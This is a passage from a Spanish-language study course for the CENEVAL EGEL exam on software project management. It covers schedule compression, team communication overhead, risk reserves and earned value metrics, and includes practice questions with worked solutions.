profesional idónea.\n\n---\n\n## 1. Escenario 1: Recuperación de Cronograma en el Camino Crítico (Crashing vs Fast-Tracking vs Descope)\n\n### Planteamiento del Problema\nUna empresa desarrolla una plataforma de pagos digitales que debe lanzarse obligatoriamente el 1 de diciembre por mandato regulatorio (fecha inflexible). Al final del mes 4 (de un proyecto de 6 meses), el análisis de Valor Ganado reporta:\n* $\\text{SPI} = 0.82$ (Retraso severo).\n* $\\text{CPI} = 1.15$ (Eficiencia de costos favorable: se ha gastado menos de lo presupuestado para el trabajo realizado).\n* La actividad en curso \"Certificación de Cifrado Hardware\" se encuentra en la **Ruta Crítica** y tiene una holgura total $HT = 0$. Su predecesora terminó tarde y quedan 4 semanas de trabajo estimado.\n\n```\n       [Desarrollo Core] ──► [Certificación Hardware] ──► [Auditoría Regulatoria] ──► [Go-Live]\n         (Terminado)             (Ruta Crítica, HT=0)          (Predecesora obligada)\n                                 SPI=0.82, CPI=1.15\n```\n\n### Análisis de Alternativas de Decisión\n\n| Alternativa | Mecanismo | Trade-off Técnico | Viabilidad en este Escenario |\n| :--- | :--- | :--- | :--- |\n| **A: Añadir más programadores juniors a la certificación** | Ley de Brooks. | Incrementa canales de comunicación, exige tiempo de inducción de los ingenieros senior y empeorará el retraso. | **Inviable / Error grave**. |\n| **B: Ejecutar Compresión de Cronograma (*Crashing*)** | Inyectar recursos especializados (horas extras al especialista actual, contratar a un consultor de certificación certificado). | Incrementa el costo directo de la actividad crítica, pero el proyecto tiene holgura presupuestal ($\\text{CPI} = 1.15 \u003e 1.0$). | **Recomendada y Óptima**. Se reduce la duración de la actividad crítica utilizando el excedente presupuestal sin alterar las dependencias. |\n| **C: Ejecución Rápida (*Fast-Tracking*)** | Iniciar la \"Auditoría Regulatoria\" en paralelo antes de terminar la \"Certificación Hardware\". | La auditoría exige como prerrequisito legal el certificado formal emitido; solaparlas creará retrabajo masivo y rechazo regulatorio. | **Inviable**. El riesgo de retrabajo y rechazo invalida el solapamiento de dependencias obligatorias. |\n| **D: Reducir el Alcance (*Descope*) de la Certificación** | Omitir pruebas de cifrado. | Viola los requerimientos regulatorios obligatorios; el sistema no obtendría la licencia de operación. | **Inviable**. Requerimiento no negociable. |\n\n**Regla de Decisión EGEL**: Cuando $\\text{CPI} \u003e 1.0$ (hay dinero disponible) y $\\text{SPI} \u003c 1.0$ (hay retraso), la primera opción técnica a considerar para actividades en la ruta crítica es **Crashing** (intensificación), seleccionando la actividad crítica con menor pendiente de costo por unidad de tiempo recuperada.\n\n---\n\n## 2. Escenario 2: Crisis de Sobrecarga por Crecimiento Explosivo del Equipo\n\n### Planteamiento del Problema\nUna startup inició con un equipo monolítico de 4 desarrolladores ($n = 4$, $C = 6$ canales). Debido a una inyección de capital, la dirección contrató a 12 programadores más en dos meses, totalizando 16 personas en el mismo repositorio y en la misma reunión diaria (*Daily Standup*):\n* Canales de comunicación: $C = \\frac{16 \\times 15}{2} = 120$ canales (¡un incremento del 1900%!).\n* La reunión diaria dura ahora 50 minutos.\n* Los desarrolladores pasan el 35% de su jornada resolviendo conflictos de merge en Git y esperando revisiones de Pull Requests.\n* El rendimiento de entrega de features cayó a la mitad.\n\n### Estrategia de Intervención Arquitectural y Organizacional (Ley de Conway)\n\n```\n        ESTADO ACTUAL CAÓTICO (16 devs, 120 canales)\n                 [ 16 desarrolladores ]\n                           │\n                 [ Monolito enredado ]\n\n                         ▼ REESTRUCTURACIÓN\n\n         ESTADO OBJETIVO (3 Squads cross-funcionales)\n     ┌─────────────────────┬─────────────────────┐\n     ▼                     ▼                     ▼\n[ Squad Checkout ]   [ Squad Catálogo ]   [ Squad Usuarios ]\n (5 devs, 10 chan)    (5 devs, 10 chan)    (5 devs, 10 chan)\n         │                     │                    │\n         ▼                     ▼                    ▼\n[ Servicio Checkout ] [ Servicio Catálogo ] [ Servicio Auth ]\n```\n\n1. **Descomposición Celular**: Dividir el grupo de 16 personas en 3 células cross-funcionales (\"*Two-Pizza Teams*\", 5 a 6 personas por célula).\n2. **Alineación con la Arquitectura (Ley de Conway)**: Asignar a cada equipo la propiedad exclusiva de un límite contextual (*Bounded Context* o microservicio/módulo desacoplado) con contratos de API bien definidos.\n3. **Comunicación Externa Asíncrona**: Cada equipo gestiona internamente sus 10 a 15 canales; la coordinación inter-equipos se canaliza a través de Product Owners y Tech Leads mediante documentación formal de interfaces (OpenAPI/Swagger) y eventos, eliminando la necesidad de reuniones masivas de 16 personas.\n\n---\n\n## 3. Escenario 3: Estimación de Incertidumbre y Negociación del Alcance (Triángulo de Hierro)\n\n### Planteamiento del Problema\nEl departamento comercial firmó un contrato cerrado prometiendo entregar un software de logística en 4 meses por $50,000 USD. El equipo técnico desglosa la WBS inicial y calcula:\n* Estimación PERT probabilística: $\\mu = 5.8\\text{ meses}$, $\\sigma = 0.6\\text{ meses}$.\n* La probabilidad de terminar en $\\le 4\\text{ meses}$ es prácticamente del 0.1% ($Z = \\frac{4 - 5.8}{0.6} = -3.0$).\n\n### Trade-offs en el Triángulo de Hierro de Gestión de Proyectos\n\n```\n                          ALCANCE (Scope)\n                               ▲\n                              / \\\n                             /   \\\n                            /     \\\n                           /       \\\n                          /         \\\n                         /           \\\n     COSTO (Cost) ◄───────────────────► TIEMPO (Time)\n                         CALIDAD\n                       (en el centro)\n```\n\nSi el **Tiempo** está fijado rígidamente en 4 meses y el **Costo/Presupuesto** está limitado a $50,000 USD:\n* **No se puede sacrificar la Calidad** interna (eliminar pruebas y refactorización generará una tasa inaceptable de defectos en producción).\n* La única variable matemática viable de ajuste es el **Alcance (Scope)**.\n\n**Acción Profesional Recomendada**:\n1. Implementar priorización **MoSCoW** de requerimientos con el patrocinador y el cliente:\n   * **Must have** (Críticos e indispensables para operar en el mes 4).\n   * **Should have** (Importantes, pero se pueden posponer para una fase 1.1).\n   * **Could have** (Deseables si sobra tiempo).\n   * **Won't have** (Excluidos de la primera versión).\n2. Planificar la entrega en 4 meses exclusivamente de los ítems **Must have** (Producto Mínimo Viable, MVP), liberando valor al negocio dentro de la restricción temporal sin incurrir en incumplimiento contractual.\n\n---\n\n## 4. Escenario 4: Asignación de Reservas y Gestión Cuantitativa de Riesgos\n\n### Planteamiento del Problema\nUna aplicación de banca móvil tiene un costo presupuestado base de $200,000 USD. Durante el análisis de riesgos, se identifican las siguientes contingencias:\n\n1. **Riesgo R1 (Falla crítica de integración con buró de crédito)**: $P = 25\\%$, Impacto $= \\$40,000$.\n2. **Riesgo R2 (Atraso en la aprobación de App Store / Google Play)**: $P = 40\\%$, Impacto $= \\$15,000$.\n3. **Riesgo R3 (Vulnerabilidad de seguridad en auditoría externa)**: $P = 10\\%$, Impacto $= \\$80,000$.\n4. **Riesgo R4 (Terremoto regional inutiliza la sede corporativa de los programadores)**: Evento de fuerza mayor catastrófico no predecible cuantitativamente.\n\n### Resolución y Asignación de Fondos\n\n1. **Cálculo de la Reserva de Contingencia (Known-Unknowns)** mediante EMV:\n   $$\\text{EMV}(R1) = 0.25 \\times \\$40,000 = \\$10,000$$\n   $$\\text{EMV}(R2) = 0.40 \\times \\$15,000 = \\$6,000$$\n   $$\\text{EMV}(R3) = 0.10 \\times \\$80,000 = \\$8,000$$\n   $$\\text{Reserva de Contingencia Total} = \\$10,000 + \\$6,000 + \\$8,000 = \\mathbf{\\$24,000\\text{ USD}}$$\n\n2. **Línea Base de Costo**:\n   $$\\text{Línea Base} = \\text{Costo de Actividades} + \\text{Reserva de Contingencia} = \\$200,000 + \\$24,000 = \\mathbf{\\$224,000\\text{ USD}}$$\n\n3. **Tratamiento del Riesgo R4**:\n   * No se incluye en la Reserva de Contingencia ni en la Línea Base.\n   * Se cubre mediante la **Reserva de Gestión** de la alta dirección y una estrategia de **Transferencia** (póliza de seguros y planes de recuperación ante desastres - DRP en la nube).\n\n---\n\n## 5. Matriz Maestra de Toma de Decisiones en Subárea 4.1\n\n| Si en el examen te presentan... | Y la restricción principal es... | La decisión técnica idónea es... | Justificación Teórica |\n| :--- | :--- | :--- | :--- |\n| Retraso en camino crítico ($HT=0$), pero hay presupuesto sobrante ($CPI \u003e 1.0$). | El tiempo final es rígido. | **Crashing** (intensificación en la actividad crítica más barata). | Compensa tiempo inyectando dinero sin romper dependencias lógicas. |\n| Retraso en camino crítico, sin presupuesto adicional, pero las actividades son técnicamente independientes. | No hay dinero para horas extras. | **Fast-Tracking** (ejecución rápida / solapamiento). | Acepta el riesgo de retrabajo a cambio de acortar la duración del calendario. |\n| Retraso severo y faltan 2 semanas para la fecha límite contractual. | Se propone agregar 5 programadores nuevos. | **Rechazar la incorporación de personal** (Ley de Brooks). | La curva de aprendizaje y el costo de comunicación retrasarán aún más la fecha final. |\n| Incertidumbre en requerimientos de innovación o nuevas tecnologías. | Se requiere estimar esfuerzo inicial. | **Story Points / Planning Poker** o **PERT de 3 valores** con alta varianza. | Capturan la incertidumbre relativa y aíslan el sesgo de compromiso en horas absolutas. |\n| Fuga masiva de talento clave o deserción proyectada. | Preservar la continuidad técnica del proyecto. | **Mitigación**: Pair programming, documentación de arquitectura y matrices de polivalencia de habilidades. | Reduce el impacto de la pérdida de conocimiento tácito (Factor Autobús / Bus Factor). |\n| Proveedor externo no confiable para un módulo crítico. | La empresa no puede asumir el costo de falla. | **Transferencia**: Contrato de precio fijo con SLA y penalizaciones económicas; o **Evitación**: reemplazar por solución comercial probada. | Desplaza el impacto económico fuera del balance directo del proyecto. |\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Reactivo 1\nUn proyecto de software de misión crítica reporta al mes 6 los siguientes indicadores de Valor Ganado: $\\text{PV} = \\$300,000$, $\\text{EV} = \\$260,000$ y $\\text{AC} = \\$230,000$. La actividad \"Pruebas de Integración con el Hardware Satelital\" se encuentra en la ruta crítica con holgura cero. La fecha de lanzamiento satelital no puede modificarse bajo ninguna circunstancia. ¿Cuál es la estrategia de gestión más adecuada para recuperar el cronograma minimizando los riesgos de retrabajo en una dependencia estricta?\n\nA) Añadir tres ingenieros de soporte recién contratados para colaborar en la ejecución de pruebas (*Brooks' Law*)  \nB) Ejecutar la actividad de pruebas de integración de manera paralela con la fabricación del módulo físico (*Fast-Tracking*)  \nC) Aplicar compresión de tiempos (*Crashing*) asignando horas extras y un consultor senior especializado en el módulo satelital  \nD) Reducir el alcance del proyecto eliminando la batería de pruebas de tolerancia a radiación (*Descoping*)  \n\n### Reactivo 2\nUn equipo de 6 desarrolladores trabaja con fluidez entregando incrementos funcionales. Ante la llegada de una nueva ronda de inversión, el gerente de producto contrata de golpe a 8 desarrolladores más y los asigna al mismo componente central del software sin crear submódulos ni redefinir roles. A las cuatro semanas, la velocidad del equipo disminuye drásticamente y las reuniones se vuelven caóticas. ¿Qué principio de la ingeniería de software explica con exactitud la causa raíz de este fenómeno?\n\nA) El Principio de Pareto, debido a que el 80% del código nuevo contiene el 20% de los defectos  \nB) La Ley de Brooks y la explosión combinatoria de canales de comunicación interpersonales  \nC) La Teoría de Restricciones, al saturarse el servidor de compilación e integración continua  \nD) La paradoja de Jevons sobre el consumo de recursos computacionales  \n\n### Reactivo 3\nDurante la fase de análisis de riesgos de una aplicación de billetera electrónica, el equipo evalúa el riesgo de que la interfaz de programación de aplicaciones (API) del banco emisor sufra latencias superiores a 5 segundos durante las horas pico. El equipo decide programar un mecanismo de caché en memoria Redis con persistencia asíncrona que almacene de forma temporal los saldos consultados durante un máximo de 60 segundos, reduciendo en un 70% las peticiones directas al banco. ¿Qué estrategia de respuesta al riesgo se implementó y cuál fue su efecto directo?\n\nA) Transferencia, transfiriendo la carga de procesamiento al servidor Redis  \nB) Evitación, al eliminar por completo la conexión con el banco emisor  \nC) Mitigación, al reducir la probabilidad de saturación y el impacto de la latencia en el usuario  \nD) Aceptación pasiva, asumiendo que los usuarios esperarán el tiempo de respuesta  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.1.*\n","title":"4.1.5 Escenarios profesionales de toma de decisiones en tiempos, costos, personas y riesgos"},{"children":[],"contentMd":"# 4.1.6 Repaso Rápido y Formulario Clave: Gestión de Tiempos, Costos, Personas y Riesgos\n\nEsta lección condensa de manera ultra-estructurada todas las fórmulas matemáticas, definiciones normativas y reglas nemotécnicas indispensables para resolver con velocidad y precisión los reactivos de la **Subárea 4.1 (18 reactivos en CENEVAL EGEL)**.\n\n---\n\n## 1. Formulario Matemático Integral de la Subárea 4.1\n\n| Concepto / Métrica | Fórmula Matemática | Criterio de Interpretación |\n| :--- | :--- | :--- |\n| **Duración Esperada PERT ($V_E$)** | $V_E = \\frac{O + 4M + P}{6}$ | Media ponderada basada en distribución Beta ($O$: Optimista, $M$: Más probable, $P$: Pesimista). |\n| **Desviación Estándar PERT ($\\sigma$)** | $\\sigma = \\frac{P - O}{6}$ | Medida de incertidumbre de la actividad. |\n| **Varianza PERT ($\\sigma^2$)** | $\\sigma^2 = \\left(\\frac{P - O}{6}\\right)^2$ | La varianza del proyecto es la **suma de las varianzas del camino crítico**: $\\sigma_{\\text{total}}^2 = \\sum \\sigma_{\\text{críticas}}^2$. |\n| **Holgura Total ($HT$)** | $HT = LF - EF = LS - ES$ | Margen de retraso sin atrasar la fecha final del proyecto. En la ruta crítica, $HT = 0$. |\n| **Holgura Libre ($HL$)** | $HL = \\min(ES_{\\text{sucesores}}) - EF$ | Margen de retraso sin atrasar el inicio temprano de ningún sucesor inmediato. |\n| **Variación de Costo ($CV$)** | $CV = EV - AC$ | $CV \u003e 0$: Bajo presupuesto (favorable).\u003cbr\u003e$CV \u003c 0$: Sobrepaso de costo (desfavorable). |\n| **Variación de Cronograma ($SV$)** | $SV = EV - PV$ | $SV \u003e 0$: Adelantado respecto al plan.\u003cbr\u003e$SV \u003c 0$: Retrasado respecto al plan. |\n| **Índice Desempeño Costo ($CPI$)** | $CPI = \\frac{EV}{AC}$ | $CPI \u003e 1.0$: Eficiencia de costo ($1 cada peso rinde más).\u003cbr\u003e$CPI \u003c 1.0$: Ineficiencia de costo. |\n| **Índice Desempeño Cronograma ($SPI$)** | $SPI = \\frac{EV}{PV}$ | $SPI \u003e 1.0$: Ritmo de avance superior al plan.\u003cbr\u003e$SPI \u003c 1.0$: Retraso en el avance del trabajo. |\n| **Estimación a la Conclusión ($EAC$)** | $EAC = \\frac{BAC}{CPI}$ | Costo total proyectado al finalizar asumiendo que la eficiencia actual ($CPI$) se mantiene. |\n| **Estimación para Terminar ($ETC$)** | $ETC = EAC - AC = \\frac{BAC - EV}{CPI}$ | Dinero adicional necesario para completar el trabajo restante. |\n| **Canales de Comunicación ($C$)** | $C = \\frac{n(n - 1)}{2}$ | Crecimiento cuadrático $O(n^2)$ de canales para $n$ personas (Fundamento de la Ley de Brooks). |\n| **Valor Monetario Esperado ($EMV$)** | $EMV = P \\times \\text{Impacto (\\$)}$ | $P$: Probabilidad ($0.0$ a $1.0$). Define la Reserva de Contingencia ($Known-Unknowns$). |\n\n---\n\n## 2. Glosario de Conceptos de Alto Rendimiento\n\n* **WBS / EDT (Work Breakdown Structure / Estructura de Desglose del Trabajo)**: Descomposición jerárquica orientada a entregables del 100% del alcance del proyecto (Regla del 100%). El nivel más bajo no descomponible es el **Paquete de Trabajo (*Work Package*)**.\n* **Ruta Crítica (CPM)**: Secuencia de actividades con holgura total igual a cero ($HT = 0$) que determina la duración mínima total posible del proyecto. Un retraso en cualquier actividad crítica atrasa todo el proyecto.\n* **Crashing (Compresión / Intensificación)**: Técnica de compresión que inyecta recursos financieros adicionales (horas extras, especialistas) a actividades del camino crítico. **Aumenta el costo**.\n* **Fast-Tracking (Ejecución Rápida)**: Técnica de compresión que ejecuta en paralelo actividades críticas que originalmente estaban planificadas en secuencia. **Aumenta el riesgo de retrabajo**.\n* **Ley de Brooks**: *\"Agregar personal a un proyecto de software con retraso solo lo retrasará más\"* debido al costo de inducción y la explosión combinatoria de canales de comunicación.\n* **Efecto Ringelmann (Holgazanería Social)**: Disminución del esfuerzo individual a medida que el tamaño del grupo aumenta sin rendición de cuentas individual.\n* **Modelo de Tuckman**: Fases de desarrollo de equipos: Formación (*Forming*) $\\rightarrow$ Conflicto (*Storming*) $\\rightarrow$ Normalización (*Norming*) $\\rightarrow$ Desempeño (*Performing*) $\\rightarrow$ Disolución (*Adjourning*).\n* **Matriz RACI**: Define roles organizacionales: **R**esponsable (quien hace el trabajo), **A**ccountable (quien responde y aprueba, **solo 1 por tarea**), **C**onsultado (aporta información bidireccional), **I**nformado (recibe información unidireccional).\n* **Reserva de Contingencia**: Fondos asignados por el Project Manager para riesgos identificados (*Known-Unknowns*). **Forma parte de la Línea Base de Costo**.\n* **Reserva de Gestión**: Fondos reservados por la alta gerencia para eventos no previstos (*Unknown-Unknowns*). **No forma parte de la Línea Base de Costo**.\n\n---\n\n## 3. Cuadros de Contrastes Rápidos para el Examen\n\n### Técnicas de Estimación de Esfuerzo y Costo\n| Técnica | Velocidad | Precisión | Momento Ideal de Uso |\n| :--- | :--- | :--- | :--- |\n| **Análoga (Top-Down)** | Muy rápida | Baja ($\\pm 50\\%$) | Fase inicial / anteproyecto; sin detalles técnicos. |\n| **Paramétrica** | Rápida | Media | Cuando existen datos históricos estandarizados (ej. $\\$X$ por punto de función). |\n| **Bottom-Up (Ascendente)** | Lenta y costosa | Muy alta ($\\pm 5\\%$) | Cuando la WBS está completamente definida a nivel de paquetes de trabajo. |\n| **Planning Poker (Story Points)** | Media-Rápida | Alta para iteraciones ágiles | Estimación colaborativa relativa de esfuerzo y complejidad sin anclaje en horas directas. |\n\n### Estrategias de Respuesta ante Riesgos Negativos\n| Situación Típica del Reactivo | Estrategia Correcta | Acción Clave |\n| :--- | :--- | :--- |\n| Se descarta una funcionalidad compleja o se cambia el proveedor de nube inestable antes de empezar. | **Evitar (*Avoid*)** | Eliminar la causa raíz o aislar el proyecto (probabilidad pasa a cero). |\n| Se programa un spike de pruebas, un prototipo temprano (PoC) o se duplica un componente en cluster. | **Mitigar (*Mitigate*)** | Reducir la probabilidad o severidad del impacto preventivamente. |\n| Se contrata un seguro contra hackeos o un contrato comercial a precio cerrado con penalizaciones. | **Transferir (*Transfer*)** | Trasladar el impacto económico o legal a un tercero. |\n| Se reconoce la existencia del riesgo y se aparta una partida presupuestal en el fondo de contingencia. | **Aceptar Activa (*Accept*)** | Establecer reservas sin alterar el plan técnico preventivo. |\n\n---\n\n## 4. Checklist Mental para el Examen CENEVAL\n\nAntes de responder cualquier pregunta de la Subárea 4.1, verifica mentalmente:\n1. ¿El índice $CPI$ o $SPI$ es menor o mayor a 1.0? (Menor a 1.0 = problema de costo o tiempo).\n2. Si piden calcular el Camino Crítico, ¿revisaste cuál es la ruta con la **suma de duraciones más larga**? (La ruta más larga es la ruta crítica).\n3. ¿Te están preguntando por Holgura Total o Holgura Libre? (Holgura Total afecta al proyecto completo; Holgura Libre solo afecta al sucesor inmediato).\n4. ¿Proponen agregar desarrolladores a última hora para salvar la fecha de entrega? ¡Alerta roja: Ley de Brooks!\n5. ¿La Reserva de Contingencia se puede usar libremente por el Project Manager? Sí, porque está dentro de la Línea Base para riesgos identificados.\n","title":"4.1.6 Repaso rápido y formulario clave: Subárea 4.1"},{"children":[],"contentMd":"# 4.1.7 Solucionario Analítico y Justificaciones Detalladas: Subárea 4.1\n\nEste documento presenta la resolución matemática exhaustiva, el marco normativo y el análisis formal de distractores para todos los reactivos formativos de la **Subárea 4.1: Gestión de Tiempos, Costos, Personas y Riesgos**.\n\n---\n\n## 1. Soluciones de la Lección 4.1.1 (PERT, CPM y Ruta Crítica)\n\n### Reactivo 1\n* **Respuesta Correcta**: **$V_E = 10$ días, Varianza = 4**\n* **Justificación Matemática**:\n  La duración esperada según la distribución Beta de PERT se calcula como:\n  $$V_E = \\frac{O + 4M + P}{6} = \\frac{6 + 4(9) + 18}{6} = \\frac{6 + 36 + 18}{6} = \\frac{60}{6} = 10\\text{ días}$$\n  La desviación estándar ($\\sigma$) se calcula como:\n  $$\\sigma = \\frac{P - O}{6} = \\frac{18 - 6}{6} = \\frac{12}{6} = 2\\text{ días}$$\n  La varianza ($\\sigma^2$) es el cuadrado de la desviación estándar:\n  $$\\sigma^2 = (2)^2 = 4$$\n* **Análisis de Distractores**:\n  * Los distractores que ofrecen varianza $= 2$ confunden la desviación estándar con la varianza. Aquellos con $V_E = 11$ cometen errores aritméticos en la ponderación del valor más probable $M$.\n\n### Reactivo 2\n* **Respuesta Correcta**: **Ruta Crítica: A-C-E (19 días) / Holgura Total de B = 3 días**\n* **Justificación Matemática**:\n  Se evalúan las longitudes de todas las rutas posibles del nodo inicial al nodo final:\n  1. Ruta 1 (A-B-E): $4 + 7 + 5 = 16\\text{ días}$.\n  2. Ruta 2 (A-C-E): $4 + 10 + 5 = 19\\text{ días}$.\n  3. Ruta 3 (A-D-F): $4 + 8 + 3 = 15\\text{ días}$.\n  La ruta con la mayor duración define la **Ruta Crítica**, que es **A-C-E con 19 días**. La duración del proyecto es de 19 días.\n  Para calcular la Holgura Total de la actividad B:\n  La actividad B forma parte de la Ruta 1 (duración 16 días). La holgura disponible en esta rama es la diferencia entre la duración de la ruta crítica y la duración de la ruta en la que se encuentra:\n  $$HT(B) = 19 - 16 = 3\\text{ días}$$\n  Por lo tanto, la actividad B puede demorarse hasta 3 días sin retrasar la fecha de finalización del proyecto (19 días).\n* **Análisis de Distractores**:\n  * Asumir que la holgura de B es 0 es incorrecto porque B no pertenece a la ruta crítica. Asumir 4 días proviene de comparar erróneamente con la ruta A-D-F en lugar de la ruta crítica.\n\n### Reactivo 3\n* **Respuesta Correcta**: **Compresión de Cronograma (*Crashing*)**\n* **Justificación Teórica**:\n  El problema estipula que la actividad se encuentra en la ruta crítica, no se pueden alterar las dependencias lógicas (lo que descarta el solapamiento o *Fast-Tracking*), y se dispone de presupuesto adicional para recursos de soporte. El *Crashing* consiste precisamente en aportar recursos económicos o personal extra a actividades críticas para comprimir su duración.\n* **Análisis de Distractores**:\n  * *Fast-Tracking* implica solapar actividades secuenciales, aumentando el riesgo de retrabajo, lo cual fue descartado por las restricciones.\n  * La *Ley de Brooks* describe el riesgo de añadir personal a proyectos tardíos, pero no es una técnica de compresión planificada.\n  * *Nivelación de Recursos* tiende a alargar el cronograma para evitar sobreasignación, no a comprimirlo.\n\n---\n\n## 2. Soluciones de la Lección 4.1.2 (Estimación, Costos y EVM)\n\n### Reactivo 1\n* **Respuesta Correcta**: **$CV = -\\$10,000$ USD; $CPI = 0.80$; sobrecosto y retraso en el cronograma**\n* **Justificación Matemática**:\n  Datos: $BAC = \\$100,000$, $PV = \\$50,000$, $EV = \\$40,000$, $AC = \\$50,000$.\n  * Variación de Costo ($CV$):\n    $$CV = EV - AC = \\$40,000 - \\$50,000 = -\\$10,000$$\n    (Al ser negativo, indica sobrecosto respecto al valor devengado).\n  * Índice de Desempeño del Costo ($CPI$):\n    $$CPI = \\frac{EV}{AC} = \\frac{40,000}{50,000} = 0.80$$\n    (Por cada dólar gastado, el proyecto solo genera 80 centavos de valor real).\n  * Variación de Cronograma ($SV$):\n    $$SV = EV - PV = \\$40,000 - \\$50,000 = -\\$10,000$$\n    (Indica retraso en el avance del trabajo planificado).\n  * Índice de Desempeño del Cronograma ($SPI$):\n    $$SPI = \\frac{EV}{PV} = \\frac{40,000}{50,000} = 0.80$$\n    (El proyecto avanza a solo un 80% del ritmo previsto).\n* **Análisis de Distractores**:\n  * Las opciones que muestran $CPI = 1.25$ calcularon invertida la fracción ($AC / EV$), un error clásico en el examen.\n\n### Reactivo 2\n* **Respuesta Correcta**: **Miden el tamaño del software a partir de los requerimientos y funciones provistas al usuario final, independientemente del lenguaje o arquitectura técnica empleada.**\n* **Justificación Teórica**:\n  El Análisis de Puntos de Función (FPA - IFPUG) cuantifica las transacciones (entradas, salidas, consultas) y los archivos de datos (lógicos internos y de interfaz externa) desde la perspectiva del usuario de negocio. Por definición formal, es agnóstico a la tecnología, a diferencia de las Líneas de Código Fuente (SLOC).\n* **Análisis de Distractores**:\n  * Afirmar que FPA solo aplica a bases de datos relacionales es falso.\n  * Decir que FPA se calcula a partir de las horas hombre invertidas es una confusión con Bottom-Up.\n\n### Reactivo 3\n* **Respuesta Correcta**: **$EAC = \\$250,000$ USD**\n* **Justificación Matemática**:\n  Datos: $BAC = \\$200,000$, $EV = \\$80,000$, $AC = \\$100,000$.\n  Eficiencia de costo actual:\n  $$CPI = \\frac{EV}{AC} = \\frac{80,000}{100,000} = 0.80$$\n  Asumiendo que el desempeño actual de costos atípico se mantiene para el resto del proyecto:\n  $$EAC = \\frac{BAC}{CPI} = \\frac{\\$200,000}{0.80} = \\$250,000\\text{ USD}$$\n  El proyecto terminará costando $50,000 USD más de lo presupuestado originalmente.\n* **Análisis de Distractores**:\n  * $220,000 asume erróneamente que el trabajo restante se completará al presupuesto original ($AC + (BAC - EV) = 100k + 120k = 220k$), lo cual viola la premisa de que la ineficiencia del $CPI$ persiste.\n\n---\n\n## 3. Soluciones de la Lección 4.1.3 (Dinámica de Equipos, Personas y Ley de Brooks)\n\n### Reactivo 1\n* **Respuesta Correcta**: **El número de canales aumenta en 26 canales (de 10 a 36), representando un incremento del 260% en la sobrecarga potencial de comunicación.**\n* **Justificación Matemática**:\n  Fórmula de canales de comunicación: $C = \\frac{n(n - 1)}{2}$\n  * Con $n = 5$ desarrolladores:\n    $$C_1 = \\frac{5(4)}{2} = 10\\text{ canales}$$\n  * Con $n = 5 + 4 = 9$ desarrolladores:\n    $$C_2 = \\frac{9(8)}{2} = 36\\text{ canales}$$\n  * Incremento absoluto: $36 - 10 = 26\\text{ canales adicionales}$.\n  * Incremento porcentual: $\\frac{26}{10} \\times 100\\% = 260\\%$.\n* **Análisis de Distractores**:\n  * Creer que aumentar el personal un 80% (de 5 a 9) aumenta la comunicación en un 80% ignora la naturaleza no lineal cuadrática ($O(n^2)$) de la comunicación humana en proyectos.\n\n### Reactivo 2\n* **Respuesta Correcta**: **Conflicto (*Storming*)**\n* **Justificación Teórica**:\n  En el modelo de Bruce Tuckman, la etapa de **Conflicto (*Storming*)** se caracteriza por fricciones interpersonales, disputas por el liderazgo, desacuerdos sobre los métodos de trabajo y resistencia a la estructura. Solo tras superar esta fase mediante la clarificación de acuerdos y normas compartidas se pasa a la etapa de **Normalización (*Norming*)**.\n* **Análisis de Distractores**:\n  * *Forming*: El equipo es cortés, formal y reservado.\n  * *Norming*: Los conflictos se han resuelto y se consolidan estándares de colaboración y confianza mutua.\n  * *Performing*: El equipo opera de forma autónoma con alto rendimiento sin fricción operativa.\n\n### Reactivo 3\n* **Respuesta Correcta**: **Exactamente una sola persona debe ser asignada como Accountable (A) por cada actividad o entregable.**\n* **Justificación Normativa**:\n  El principio rector de la matriz RACI establece que si dos o más personas son \"Accountable\" (quien rinde cuentas y tiene la última palabra sobre el entregable), se diluye la responsabilidad (*\"si todos son responsables, nadie es responsable\"*). En cambio, puede haber múltiples personas en rol de *Responsible* (R), *Consulted* (C) o *Informed* (I).\n* **Análisis de Distractores**:\n  * Las opciones que sugieren que el Project Manager debe ser siempre el \"A\" de todo el proyecto confunden supervisión general con rendición de cuentas operativa en entregables específicos delegados.\n\n---\n\n## 4. Soluciones de la Lección 4.1.4 (Gestión de Riesgos, Matriz PxI y EMV)\n\n### Reactivo 1\n* **Respuesta Correcta**: **Mitigar (*Mitigation*)**\n* **Justificación Teórica**:\n  El equipo no eliminó el servicio del proveedor ni cambió de banco (lo cual habría sido *Evitar*), ni transfirió las pérdidas financieras a una aseguradora (lo cual habría sido *Transferir*). En su lugar, el arquitecto introdujo salvaguardas técnicas (patrón Circuit Breaker y cola de mensajes asíncrona) para **reducir activamente la probabilidad de falla operativa y disminuir el impacto** de la caída en el usuario final. Esto es la definición exacta de **Mitigación**.\n* **Análisis de Distractores**:\n  * *Evitar* exigiría no depender del proveedor.\n  * *Aceptar* significaría no modificar el software y esperar a que el usuario sufra el fallo.\n\n### Reactivo 2\n* **Respuesta Correcta**: **$15,000 USD**\n* **Justificación Matemática**:\n  La Reserva de Contingencia mediante Valor Monetario Esperado ($EMV$) es la suma ponderada del producto de la probabilidad por el impacto de cada riesgo identificado:\n  $$\\text{EMV}_1 = 0.30 \\times \\$20,000 = \\$6,000$$\n  $$\\text{EMV}_2 = 0.20 \\times \\$10,000 = \\$2,000$$\n  $$\\text{EMV}_3 = 0.50 \\times \\$14,000 = \\$7,000$$\n  $$\\text{Reserva de Contingencia Total} = \\$6,000 + \\$2,000 + \\$7,000 = \\$15,000\\text{ USD}$$\n* **Análisis de Distractores**:\n  * $44,000 USD es la suma directa de los impactos en el peor de los casos (asumiendo probabilidad del 100%), lo cual sobredimensiona absurdamente el presupuesto del proyecto.\n  * $135,000 USD suma la reserva al costo base sin aislar el cálculo.\n\n### Reactivo 3\n* **Respuesta Correcta**: **Evitación (*Avoidance*)**\n* **Justificación Teórica**:\n  Al acordar contractualmente remover por completo el módulo de inteligencia artificial del alcance del software, la probabilidad de incurrir en los fallos técnicos y las multas asociadas se reduce a **cero**. Eliminar el componente o la causa raíz del plan del proyecto es la definición formal de **Evitar**.\n* **Análisis de Distractores**:\n  * *Mitigar* habría sido contratar a un consultor de IA para guiar al equipo reduciendo el riesgo.\n  * *Transferir* habría sido subcontratar el módulo de IA a una firma externa bajo un contrato cerrado llave en mano.\n\n---\n\n## 5. Soluciones de la Lección 4.1.5 (Escenarios de Toma de Decisiones)\n\n### Reactivo 1\n* **Respuesta Correcta**: **C) Aplicar compresión de tiempos (*Crashing*) asignando horas extras y un consultor senior especializado en el módulo satelital**\n* **Justificación Profesional**:\n  1. Análisis de métricas: $PV = \\$300,000$, $EV = \\$260,000$, $AC = \\$230,000$.\n     * $CPI = \\frac{260k}{230k} = 